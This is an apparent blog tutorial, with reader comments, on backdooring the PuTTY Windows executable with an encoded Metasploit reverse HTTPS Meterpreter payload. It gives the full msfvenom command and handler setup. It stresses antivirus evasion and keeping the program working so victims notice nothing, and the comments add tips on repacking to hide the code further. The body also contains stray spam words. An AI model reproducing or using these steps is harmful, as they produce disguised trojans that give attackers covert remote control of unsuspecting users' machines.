Injecting arbritary Metasploit payloads into Windows executables.

This is a very simple writeup, site demonstrating how simple it is to use Metasploit to inject arbritary code into a Windows executable, effectively backdooring said executable.

By backdooring a legitimate executable, we can effectively hide our “evil” code amongst a pile of “good” code, and backdoor it in an undetectable manner. This means antivirus software will have a hard time finding our backdoor – or at least that is what we hope.

For now I will demonstrate using Metasploit payloads, cialis however research and looking at the msfvenom utility suggests I can use a custom payload, which I will investigate in a later article.
For this, we use the “msfvenom” utility. I personally find this the easiest way to go about this.

We shall start by choosing a binary to backdoor. I decided to use the “putty” binary due to it being used in the Offensive Security examples I learned from a long time ago.

So we wget the Putty binary…


wget putty.exe

Downloading the Putty binary to backdoor

Next, we inject an encoded payload into this binary. Why do we encode it? Because we can.

msfvenom -p windows/meterpreter/reverse_https -f exe -e x86/shikata_ga_nai -i 25 -k -x /var/www/lulz/putty.exe LHOST= LPORT=443 >evilputty.exe

Injecting the payload with msfvenom

Injecting the payload with msfvenom

We use the “msfvenom” utility, the “Reverse HTTPS Meterpreter” payload for Windows, and set the format (-f) to “exe” for “exe file”. We set the encoder to x86/shikata_ga_nai and tell it to encode the payload 25 times. We also specify the LHOST and LPORT for the backdoor to “Phone Home” to.

Now for the special secret ninja sauce.

The -x switch tells it what “template EXE” to use, so we specify the Putty binary we downloaded. This tells it to inject the malicious code into the Putty binary.

The -k switch is even cooler, tells it to run the malicious code in a remote thread in order to not fuck with the functionality of the Putty program we just backdoored.

So, lets test it!

First off we start msfconsole, and give it the following commands.

use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lport 443
set lhost (our local host, change this if needed)

Now when the victim host runs our backdoored Putty binary, they will see Putty functioning normally… However in the background… We own their box.

Backdoored Putty.exe running on victim host

Backdoored Putty.exe running on victim host


Owned! Meterpreter executing on victim


8 thoughts on “Injecting arbritary Metasploit payloads into Windows executables.

    • I was planning on covering Metasm sometime in the future (it is the method I would normally use), however I found injecting the payload into an arbritary legitimate executable file works most of the time also if you are lucky enough. Metasm though still beats “all the things” (Your site actually was my introduction to using it!)

    • Try using a hex editor to see is the bytes “upx” anywhere in the PE header. If it is, install UPX and upx -d file.exe then inject your code and repackage it with UPX again :)
      If you find out what packer they are using you can unpack it and inject then repack, which has the added advantage of hiding your code even more.

  1. Pingback: Injecting arbritary Metasploit payloads into Windows executables. « Anonymous Heredia

  2. Hi,
    I followed your tutorial but I’m still having some problems. My friend runs the exe on his PC. Both our AV, firewall, etc are disabled.
    MY PC: (HOST) W7 Professional, B5R3 as a VM (Ubuntu 64 bit).
    HIS PC: W8
    (both 64bit)

    I follow the tutorial, then when I type exploit and press enter, it says:
    [*] Started HTTPS reverse handler on
    [*] Starting the payload handler …

    He then runs the exe, which I dropbox to him. He opens Putty as normal, but nothing changes on my PC. We left it at least 20 mins and nothing happened. What am I doing wrong ?


    • are you guys on the same network or did u send it over the internet. , cuz i think it wont work if your not on the same network. there is other settings that has to be used in order to connect over internet.

      • I tested it on LAN, but it works fine over the internet with a remote listener. All depends on how you configure the payload, which is left as an exercise for the reader.

Leave a Reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>